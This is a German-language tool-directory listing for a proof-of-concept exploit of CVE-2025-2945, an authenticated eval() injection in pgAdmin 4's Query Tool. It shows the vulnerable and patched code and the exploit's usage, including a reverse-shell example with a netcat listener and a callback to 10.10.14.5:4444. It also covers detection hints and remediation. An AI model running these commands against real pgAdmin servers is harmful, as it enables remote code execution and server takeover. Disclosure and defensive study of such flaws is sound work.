Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2945-pgAdmin-RCE — PoC für CVE-2025-2945 — pgAdmin 4 authentifizierte eval()-Injection RCE, CVSS 9.9 | Kitploit
Tools/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC für CVE-2025-2945 — pgAdmin 4 authentifizierte eval()-Injection RCE, CVSS 9.9

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-2945 — pgAdmin 4 Authentifizierte Query-Tool-RCE

CVSS 3.1: 9.9 (Kritisch) · Betrifft: pgAdmin 4 8.10 – 9.1 · Behoben in: 9.2 (4. April 2025) CWE-95 (Unzureichende Neutralisierung von Direktiven in dynamisch ausgewertetem Code / Eval-Injection)

Ein Proof-of-Concept-Exploit für CVE-2025-2945, eine authentifizierte Remote-Codeausführungs- Schwachstelle im Query-Tool von pgAdmin 4. Ein boolesches Transaktionsstatus-Flag (query_commited) wird direkt an Pythons eval() übergeben, anstatt als Boolescher Wert geparst zu werden, wodurch ein authentifizierter Benutzer beliebigen Python-Code — und damit auch beliebige Betriebssystembefehle — unter den Rechten des pgAdmin-Dienstprozesses ausführen kann. Dasselbe Anti-Pattern tritt ein zweites Mal im Google-Provider des Cloud-Deployment-Moduls auf (high_availability).

Eine vollständige technische Dokumentation zu Ursache, Exploit-Logik, Erkennungs- hinweisen und Abhilfe finden Sie hier: khashayarnazarkardeh.com — Field Notes


Zusammenfassung der Schwachstelle

Verwundbarer Code (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Behobener Code (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

Die Schwachstelle erfordert eine authentifizierte pgAdmin-Sitzung und eine Query-Tool- Transaktion, die an einen Datenbankserver gebunden ist, der bereits im Zielkonto registriert ist. Beides sind häufige Voraussetzungen in realen Bereitstellungen, in denen pgAdmin typischerweise mit einer oder mehreren gespeicherten Serververbindungen vorkonfiguriert ist.

Voraussetzungen

  • Python 3.8+
  • Ein gültiges pgAdmin-Webkonto (--username / --password)
  • Anmeldedaten für einen Datenbankserver, der bereits in diesem pgAdmin- Konto registriert ist (--db-user / --db-password / --db-name)
  • Zielsystem mit pgAdmin 4 zwischen 8.10 und 9.1 (einschließlich)

Installation

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Verwendung

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <ziel> --port 80 \
    --username <pgadmin-e-mail> --password <pgadmin-passwort> \
    --db-user <db-benutzer> --db-password <db-passwort> --db-name <db-name> \
    --cmd id

Payload-Modi (einen auswählen)

FlagBeschreibung
--cmd BEFEHLFührt einen einzelnen Betriebssystembefehl über os.system() aus
--reverse-shell HOST:PORTStartet eine Named-Pipe-Reverse-Shell zu einem von Ihnen kontrollierten Listener
--raw-payload AUSDRUCKÜbergibt einen rohen Python-Ausdruck direkt an die verwundbare eval()-Senke

Beispiel — Reverse-Shell

root@kitploit:~
# Auf Ihrem Angriffshost, in einem separaten Terminal:
nc -lvnp 4444

# Exploit ausführen:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Alle Optionen

root@kitploit:~
python3 CVE-2025-2945.py --help

Erkennung

Verteidiger sollten auf Folgendes achten:

  • POST-Anfragen an /sqleditor/query_tool/download/<trans_id> oder /cloud/deploy, bei denen query_commited / high_availability etwas anderes als ein wörtliches "true", "false", "1" oder "0" ist.
  • Python-Ausführungs-Primitive (__import__, os.system, subprocess, eval, exec, open(), die in einem der beiden Parameter auftauchen.
  • Unerwartete Kindprozesse, die vom pgAdmin-Dienstkonto erzeugt werden, insbesondere Shell-Interpreter oder Netzwerkdienstprogramme.

Abhilfe

Upgrade auf pgAdmin 4 9.2 oder neuer. Der Patch ist eine minimale, risikoarme Boolesche-Koerzion-Korrektur. Wenn ein sofortiges Patchen nicht möglich ist, beschränken Sie den Netzwerkzugriff auf pgAdmin auf vertrauenswürdige, authentifizierte Netzwerke und deaktivieren Sie das Cloud-Deployment-Modul für Konten, die es nicht benötigen.

Referenzen

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin Issue #8603
  • Fix-Commit — 75be0bc

Autor

Khashayar Nazarkardeh — Cybersecurity- & KI-Sicherheitsleiter khashayarnazarkardeh.com · @Khashayarnzk

Haftungsausschluss

Dieses Tool dient ausschließlich autorisierten Sicherheitstests, Forschung und Bildungszwecken. Die Ausführung gegen ein System ohne ausdrückliche, dokumentierte Genehmigung des Systemeigentümers ist in den meisten Rechtsordnungen illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Durch die Verwendung dieses Skripts erklären Sie sich damit einverstanden, dass Sie allein dafür verantwortlich sind, sicherzustellen, dass Sie die Berechtigung zum Testen des Zielsystems haben.

Tool herunterladen